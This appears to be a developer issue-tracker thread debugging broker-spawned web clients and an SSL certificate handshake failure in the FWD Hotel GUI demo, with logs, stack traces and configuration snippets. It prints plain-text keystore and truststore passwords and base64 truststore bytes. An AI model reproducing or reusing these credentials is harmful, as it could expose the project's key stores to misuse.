25/10/20 11:59:58.280-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 11:59:58.281-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 11:59:58.282-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/20 11:59:58.283-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/20 11:59:58.284-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'Elb26Vq843wn746N'
25/10/20 11:59:58.642-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/20 11:59:58.647-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/20 11:59:58.675-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/20 11:59:58.681-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/20 11:59:58.684-0400 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/20 11:59:58.685-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (b537bc27-57a0-42e8-a4dd-38bf2669e8cd)
25/10/20 11:59:58.686-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/20 11:59:58.690-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[561]
25/10/20 11:59:58.691-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=192.168.1.227, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, server:spawner:uuid=b537bc27-57a0-42e8-a4dd-38bf2669e8cd]
25/10/20 11:59:58.692-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 5
25/10/20 11:59:58.693-0400 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:179)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/broker.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=192.168.1.227.
INFO: The argument number 18 is: remote:agent:dedicatedMode=false.
INFO: The argument number 19 is: server:spawner:uuid=b537bc27-57a0-42e8-a4dd-38bf2669e8cd.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.

On my browser (which is my laptop, (192.168.1.227):

192.168.1.227 refused to connect.

Yes, this is expected, WebClientBuilderParameters.webClientHost was incorrectly set by request external IP address that should not get the preassigned host fwddev1. I should change the code. Another point is that you said that you observed null host url. Can you reproduce null host url?

Sergey Ivanovskiy wrote:

Yes, this is expected, WebClientBuilderParameters.webClientHost was incorrectly set by request external IP address that should not get the preassigned host fwddev1. I should change the code.

So my configuration should work?

Another point is that you said that you observed null host url. Can you reproduce null host url?

Yes... I just remove the below to turn off SSO:

          <node-attribute name="ssoplugin" value="com.goldencode.hotel.HotelGuiSsoAuthenticator"/>
          <node-attribute name="ssopluginoption" value="bogus"/>

Yes, I reproduced null url without SSO plugin and observed that client:web:port parameter is also missed if the broker client initiates the spawned process. So please wait several minutes and I will commit new version in 9709b.

Sergey Ivanovskiy wrote:

Yes, I reproduced null url without SSO plugin and observed that client:web:port parameter is also missed if the broker client initiates the spawned process. So please wait several minutes and I will commit new version in 9709b.

Thanks!

Roger, all parameters issues are related to cached spawn command com.goldencode.p2j.main.NativeSecureConnection.command that is used by the native spawner C code to start the web client. I just confused myself and stressed to find missed parameters. Sorry for delaying this commit.

Roger, please update your version of 9709b with the committed revision 16227.

Sergey Ivanovskiy wrote:

Roger, please update your version of 9709b with the committed revision 16227.

Updating...

I was working on updates to prepare_dir.sh which would generate the sections in directory.xml for brokers and generate broker_client.xml files, based upon input from the JSON.

I found that client.sh adds settings to the command-line for ClientDriver that could conflict with settings in the bootstrap XML. The command-line seems to "win" if there is a conflict. This is why I have to add -b to the client.sh command-line. When I don't, there is an error:

25/10/20 16:21:59.825-0400 |  SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.lang.RuntimeException: Only process accounts are allowed.
        at com.goldencode.p2j.main.BrokerManager.registerBroker(BrokerManager.java:229)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.base/java.lang.reflect.Method.invoke(Method.java:569)
        at com.goldencode.p2j.util.MethodInvoker.invoke(MethodInvoker.java:126)
        at com.goldencode.p2j.net.Dispatcher.processInbound(Dispatcher.java:808)
        at com.goldencode.p2j.net.Conversation.block(Conversation.java:418)
        at com.goldencode.p2j.net.Conversation.run(Conversation.java:237)
        at java.base/java.lang.Thread.run(Thread.java:840)

The -b option results in net:connection:secure=false net:server:secure_port=3333 net:server:insecure_port=3433 added to the ClientDriver line. The strange thing is, I have that set in the broker1_client.xml:

  <net>
    <connection secure="true" />
    <server host="fwddev1" />
    <server secure_port="3333" />
    <server port="3433" />
  </net>

For me this command seems working

export TERM=xterm;./client.sh -cbroker1_client.xml

25/10/20 23:38:26.079+0300 |    FINE | org.eclipse.jetty.io.FillInterest | PID:63782, ThreadName:qtp1873091796-43 | onFail FillInterest@6475d933{null}
javax.net.ssl.SSLHandshakeException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
    at org.conscrypt.SSLUtils.toSSLHandshakeException(SSLUtils.java:361)
    at org.conscrypt.ConscryptEngine.convertException(ConscryptEngine.java:1138)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:923)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:751)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:716)
    at org.conscrypt.Java8EngineWrapper.unwrap(Java8EngineWrapper.java:236)
    at org.eclipse.jetty.io.ssl.SslConnection.unwrap(SslConnection.java:429)
    at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.fill(SslConnection.java:718)
    at org.eclipse.jetty.server.HttpConnection.fillRequestBuffer(HttpConnection.java:350)
    at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:260)
    at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
    at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
    at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.onFillable(SslConnection.java:555)
    at org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:410)
    at org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:164)
    at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
    at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
    at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)
    at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)
    at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLProtocolException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
    at org.conscrypt.NativeCrypto.ENGINE_SSL_read_direct(Native Method)
    at org.conscrypt.NativeSsl.readDirectByteBuffer(NativeSsl.java:567)
    at org.conscrypt.ConscryptEngine.readPlaintextDataDirect(ConscryptEngine.java:1099)
    at org.conscrypt.ConscryptEngine.readPlaintextDataHeap(ConscryptEngine.java:1119)
    at org.conscrypt.ConscryptEngine.readPlaintextData(ConscryptEngine.java:1091)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:880)
    ... 17 more
25/10/20 23:38:26.079+0300 |    FINE | org.eclipse.jetty.server.HttpConnection | PID:63782, ThreadName:qtp1873091796-43 | 
javax.net.ssl.SSLHandshakeException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
    at org.conscrypt.SSLUtils.toSSLHandshakeException(SSLUtils.java:361)
    at org.conscrypt.ConscryptEngine.convertException(ConscryptEngine.java:1138)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:923)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:751)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:716)
    at org.conscrypt.Java8EngineWrapper.unwrap(Java8EngineWrapper.java:236)
    at org.eclipse.jetty.io.ssl.SslConnection.unwrap(SslConnection.java:429)
    at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.fill(SslConnection.java:718)
    at org.eclipse.jetty.server.HttpConnection.fillRequestBuffer(HttpConnection.java:350)
    at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:260)
    at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
    at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
    at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.onFillable(SslConnection.java:555)
    at org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:410)
    at org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:164)
    at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
    at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
    at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)
    at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)
    at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLProtocolException: Read error: ssl=0x723a840083d8: Failure in SSL library, usually a protocol error
error:10000416:SSL routines:OPENSSL_internal:SSLV3_ALERT_CERTIFICATE_UNKNOWN (../ssl/tls_record.cc:594 0x723a7c018cd8:0x00000001)
    at org.conscrypt.NativeCrypto.ENGINE_SSL_read_direct(Native Method)
    at org.conscrypt.NativeSsl.readDirectByteBuffer(NativeSsl.java:567)
    at org.conscrypt.ConscryptEngine.readPlaintextDataDirect(ConscryptEngine.java:1099)
    at org.conscrypt.ConscryptEngine.readPlaintextDataHeap(ConscryptEngine.java:1119)
    at org.conscrypt.ConscryptEngine.readPlaintextData(ConscryptEngine.java:1091)
    at org.conscrypt.ConscryptEngine.unwrap(ConscryptEngine.java:880)
    ... 17 more
25/10/20 23:38:26.079+0300 |    FINE | org.eclipse.jetty.http.HttpParser | PID:63782, ThreadName:qtp1873091796-43 | atEOF HttpParser{s=START,0 of -1}

but client.sh has diff:

=== modified file 'deploy/client/client.sh'
--- old/deploy/client/client.sh    2025-10-13 21:26:26 +0000
+++ new/deploy/client/client.sh    2025-10-15 21:07:48 +0000
@@ -14,12 +14,12 @@
 prog="java" 
 dump="-XX:+HeapDumpOnOutOfMemoryError" 
 #dump="-XX:+HeapDumpOnOutOfMemoryError -XX:OnOutOfMemoryError='./stack_dump.sh %p'" 
-host="net:server:host=localhost" 
+host1="net:server:host=localhost" 
 batch_parms="client:mode:batch=true client:driver:background=true" 
 driver_type="gui" 
 instance=0
 portbase=3333
-secure=false
+secure=true
 portstep=100
 # Set this to debug the ssl handshake and include in jvm parms
 #ssl_debug="-Djavax.net.debug=ssl:handshake" 

Yes, I have the same issue. At this moment investigating what can cause this issue:

25/10/20 23:38:25.971+0300 |    INFO | org.eclipse.jetty.util.ssl.SslContextFactory | PID:63782, ThreadName:main | x509=X509@1e44b638(standard,h=[localhost],a=[],w=[]) for Server@7a3793c7[provider=Conscrypt,keyStore=null,trustStore=null]
25/10/20 23:38:25.971+0300 |    INFO | org.eclipse.jetty.util.ssl.SslContextFactory | PID:63782, ThreadName:main | Unable to get KeyManagerFactory instance for algorithm [SunX509] on provider [Conscrypt], using default
25/10/20 23:38:25.971+0300 |    FINE | org.eclipse.jetty.util.ssl.SslContextFactory | PID:63782, ThreadName:main | 
java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt
    at sun.security.jca.GetInstance.getService(GetInstance.java:87)
    at sun.security.jca.GetInstance.getInstance(GetInstance.java:206)
    at javax.net.ssl.KeyManagerFactory.getInstance(KeyManagerFactory.java:181)
    at org.eclipse.jetty.util.ssl.SslContextFactory.getKeyManagerFactoryInstance(SslContextFactory.java:1803)
    at org.eclipse.jetty.util.ssl.SslContextFactory.getKeyManagers(SslContextFactory.java:1248)
    at org.eclipse.jetty.util.ssl.SslContextFactory$Server.getKeyManagers(SslContextFactory.java:2364)
    at org.eclipse.jetty.util.ssl.SslContextFactory.load(SslContextFactory.java:373)
    at org.eclipse.jetty.util.ssl.SslContextFactory.doStart(SslContextFactory.java:244)
    at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
    at org.eclipse.jetty.util.component.ContainerLifeCycle.start(ContainerLifeCycle.java:169)
    at org.eclipse.jetty.util.component.ContainerLifeCycle.doStart(ContainerLifeCycle.java:117)
    at org.eclipse.jetty.server.SslConnectionFactory.doStart(SslConnectionFactory.java:97)
    at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
    at org.eclipse.jetty.util.component.ContainerLifeCycle.start(ContainerLifeCycle.java:169)
    at org.eclipse.jetty.util.component.ContainerLifeCycle.doStart(ContainerLifeCycle.java:117)
    at org.eclipse.jetty.server.AbstractConnector.doStart(AbstractConnector.java:323)
    at org.eclipse.jetty.server.AbstractNetworkConnector.doStart(AbstractNetworkConnector.java:81)
    at org.eclipse.jetty.server.ServerConnector.doStart(ServerConnector.java:234)
    at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
    at org.eclipse.jetty.server.Server.doStart(Server.java:401)
    at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLifeCycle.java:73)
    at com.goldencode.p2j.web.GenericWebServer.startup(GenericWebServer.java:653)
    at com.goldencode.p2j.web.GenericWebServer.startup(GenericWebServer.java:599)
    at com.goldencode.p2j.ui.client.driver.web.EmbeddedWebServerImpl.startupServer(EmbeddedWebServerImpl.java:240)
    at com.goldencode.p2j.ui.client.gui.driver.web.GuiWebDriver.startupServer(GuiWebDriver.java:1548)
    at com.goldencode.p2j.main.WebClientSpawner$TemporaryClientTask.doWork(WebClientSpawner.java:431)
    at com.goldencode.p2j.main.ClientCore.processTemporaryClient(ClientCore.java:901)
    at com.goldencode.p2j.main.ClientCore.start(ClientCore.java:530)
    at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:289)
    at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
    at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
    at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)

Sergey Ivanovskiy wrote:

This is my directory xml for Hotel GUI.

The only differences...

You should be able to remove the below section from clientConfig:

          <node class="string" name="defaultKeyboardLayoutId">
            <node-attribute name="value" value="US"/>
          </node>
          <node class="container" name="keyboardLayouts">
            <node class="keyboardLayout" name="US">
              <node-attribute name="id" value="US"/>
              <node-attribute name="label" value="English (US)"/>
              <node-attribute name="layout" value="USKeyboardLayout"/>
            </node>
            <node class="keyboardLayout" name="GB">
              <node-attribute name="id" value="GB"/>
              <node-attribute name="label" value="English (UK, Extended Win Keys)"/>
              <node-attribute name="layout" value="GBExtWinKeysKeyboardLayout"/>
            </node>
          </node>

And this is something I was told to remove in the persistance area:

          <node class="boolean" name="dirty-cross-share">
            <node-attribute name="value" value="FALSE"/>
          </node>
          <node class="boolean" name="dirty-intra-share">
            <node-attribute name="value" value="FALSE"/>
          </node>
          <node class="boolean" name="force-dirty-cross-share">
            <node-attribute name="value" value="FALSE"/>
          </node>
          <node class="boolean" name="force-dirty-intra-share">
            <node-attribute name="value" value="FALSE"/>
          </node>
          <node class="boolean" name="dirty-share-global-notifications">
            <node-attribute name="value" value="FALSE"/>
          </node>

For sure the first suggestion... the second is something I was told to remove.

Roger, please try to turn off security protection in Chrome browser, not recommended. For me it resolved this issue.

No, it is not working but I just got once a false positive result.

Sergey Ivanovskiy wrote:

No, it is not working but I just got once a false positive result.

:-)

it seems that even these values

      "security_truststore_filename": "srv-certs.store",
      "security_keystore_filename": "broker1-private-key.store",
      "broker_name_alias": "broker1",
      "access_truststore": "y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd",
      "access_keystore": "(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O",
      "access_keyentry": "dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx",
      "access_masterkeyentry": "7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x" 

Currently we have the SSLV3_ALERT_CERTIFICATE_UNKNOWN issue that blocks testing these configurations because the root causes can be incorrectly generated certificates.

I tried to compare output parameters dumped into web client log for local spawned web client and remotely spawned web client, these parameters should be the same but I have no idea why there is a difference in ACCESS:PASSWORD:TRUSTSTORE for these two types of local and remote start:
Locally started web client:

      SECURITY:TRUSTSTORE:ALIAS = standard
      SECURITY:TRUSTSTORE:BYTES = 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
      SECURITY:CERTIFICATE:VALIDATE = true
      SECURITY:TRUST_MGR:DISABLE = false
      SECURITY:TRANSPORT:REFRESH = true
      ACCESS:PASSWORD:TRUSTSTORE = MhBKWHGp79`1VX#Pf9`gNG6GgvYY#k34hK2T

      SECURITY:TRUSTSTORE:ALIAS = standard
      SECURITY:TRUSTSTORE:BYTES = /u3+7QAAAAIAAAABAAAAAQAIc3RhbmRhcmQAAAGaBeY+igAABQEwggT9MA4GCisGAQQBKgIRAQEFAASCBOk1yeFPsntsUpylf/9PCMyQI23MHThnyr75NG6XK5iVKezp+LmYlvHpkbXKtITohdtfv6QrSgu7HOHXNG1iBMo70/ti1HzLbkAITd9taJrmV4hhJou842owhC80JFwcgLQRaupOIlWHkDXts07uMXtvJeTF+QcfyAoJDJ6lTW+DM6FvtO2JuYnEPNdmZZsY5Hcbd4fie+dIvwRLn6ptxZZ+rRPjp3VWkwwjM+ibGcZVx3fz1Azk7BYJ4faPK1KEX8FgPtMIGGclQm42uW50Ixrp+Lrrm7iqiCMU+CES3k4oaxWxuhw5cTfPy54eToUcUvWmCQ2K4wh6tJQy98ZCanGL9GKPOvxJej0gOaJIRCNwop30Xssrw/EzX/2tQq2ApPEZLCisYmOw6+I7U+MaFQ3QKcZXq/7uMRS1imaDqUIPDKX2a3zYXYdbCK+GCiNyrDu8+FISlQmaAcs74MuMC4CDWRgictrHPZE5TXQoN+0hqt0jAgalhfXWTg0f7U33XcAD+w1Y/8t3DjA4YR0J1U5ghh5oWhsIZHkyBnvqX+vDgSIrwUldxqvcOwT9OHTWsz5g/yuu/QH9+jhSujoqukNgOZcUc2faVsRSleOSWU37pNMdXcxPkBIJXVt+lOVwQsvxF719K5IHM08JubKtj4OkHG7hW0+235QJca16YAUGgVcIc5PoIeLQeqkZGHOtZMdgUvIPgc5MYP/BcwIPjq+rs2ZtG18vpgKGOe+j7CAEzBvIbAkxvdU5Qz11Xz5mOOwjCL8eldAY0TkZcJPMZfK43VOWaiwzAKQ9M58jcs5XZomWFR/2z9tjyWgF9smoigLbTPMUG9cpEb45i3Ae2vVj8hWsxlvHyVT89i+WgLAvfsyv8sBnHMfMqckE5jdQUji4iHc2S3MVk6RNErPt1mHcwzQHLgPt3E/satjiKHziZXgLp66kflFgodBMcnakunsarXZVVVEdvk0UP05TqM0D9ycXiL9SOkHX/KwPO2tswwswpjlR0/6leGRVo/yHlIcJDct+fubbezygZaI49hkd34lIQee98H82G5vdlJSejEVPtQm6R+mAv+qGHNE9guqvSb6ExkIudWBu2Ci4lW3bFipDj/lRXNx2a/yZbQj5HwHqyV1WbW5lTjM7zzxY5LkhRj1aAum++QcyHmUgj3MWqaYIreYHaAv0RAA8+w81pmGwgNWueC5TPIf8UwfMEp4MKDOmj6K/yrcXpHwIql+cTmfROkH6M8KwW7+05Ki8+xgcWpDXSvLK/+to/F+wIprZMqRzXrCPSpJlDuOoSWHP3AvVUwCpEpLV79zPyr8ao4r8DIC3F/bxzUsdt1nGAMwR7PG7FRjriZh/9wsQVPwIksl6BODUoqYdSnWPe91bwYFMketR4wkYLn1jlKvC/QogvUzlLa5+JDJYTM1iP/ZPxaM4i/+yIw+IAZljDZnjt+MK7W3fkCMJ1yjG2KqxM/3TtU3WMb5080s/C8RNiqqohsaCrQnR8isjU+cl5c8xpE/IK86mUW+o/D7bdALCRinUpu1H0yBUAGmP3+AYuLk8D4FrqlIS5FYMf0ATJdQ5IFZiPCGjKbfwdFrmrVeOOBaZxgNKiOn+ZQs4OGOq3CPlq2ZVsrECITeRxwMIiQn8FtmIQXxZyHR8oJ3YJrhjX9e+rjBM1d1frN0AAAABAAVYLjUwOQAABGMwggRfMIIDR